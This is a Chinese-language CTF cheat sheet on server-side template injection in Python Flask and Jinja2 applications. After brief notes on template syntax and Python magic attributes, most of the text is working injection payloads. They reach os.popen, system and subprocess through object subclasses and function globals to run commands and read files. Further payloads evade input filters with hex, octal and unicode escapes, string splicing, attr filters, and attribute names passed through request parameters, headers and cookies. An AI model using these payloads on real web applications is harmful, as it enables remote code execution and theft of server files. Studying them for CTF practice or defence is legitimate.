SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。
1
2
3
|
{% %} # 控制结构
{{ }} # 变量表示符
{# #} # 注释
|
1
2
3
4
5
6
7
8
9
|
__class__ # 返回调用的参数类型
__base__ # 以字符串返回一个类所直接继承的第一个类,一般情况下是object
__bases__ # 以元组的形式返回基类
__mro__ # 返回解析方法调用的顺序
__subclasses__() # 返回子类列表
__globals__ # 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__import__ # 导入模块
__builtins__ # 内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
__getitem__ # 提取元素
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}
# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}
# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}
# <class 'click.utils.LazyFile'>
## 命令执行
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
## 读文件
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}
# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}
|
例题:安洵杯2020--Normal SSTI
flask提供了两个内置的全局函数:url_for、get_flashed_messages
,两个都有__globals__
键;
jinja2一共有3个内置的全局函数:range、lipsum、dict
,其中只有lipsum有__globals__
键
flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;
jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用
1
2
3
4
5
6
|
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路
|
在渲染().__class__.__base__.__subclasses__().c.__init__
初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>
,所以看起来并不存在的c类实际上触发了内置的Undefined类型。
1
2
|
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
|
例题:xctf_huaweicloud-qualifier-2020/web/mine2
python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。
1
2
|
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]
|
1
2
3
4
5
|
# 字符串拼接
""["__cl"+"ass__"]
""["__cl""ass__"]
# 字符串倒序
""["__ssalc__"[::-1]]
|
1
2
3
4
5
6
7
8
|
# 绕过.
""['__class__']
''|attr('__class__')
# 绕过[]
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
# 绕过\{\{
{%print()%}
|
进制转换地址
Unicode转换地址
1
2
3
4
5
6
7
|
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 参数传递(GET|POST都可)
""[request.values.x1]
# GET方法传参
{{""[request.args.x1]}}&x1=__class__
# POST方法传参
""[request.form.x1]
POST: x1=__class__
# headers头
""[request.headers.x1]
x1: __class__
# User-Agent
""[request.user_agent.string]
User-Agent: __class__
# Cookie
""[request.cookies.x1]
Cookie: x1=__class__
|
原理有限,姿势无限,希望看到更多带佬的骚姿势(*^_^*)
浅析SSTI(python沙盒绕过)
Jinja2过滤器
关于Flask SSTI,解锁你不知道的新姿势https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA)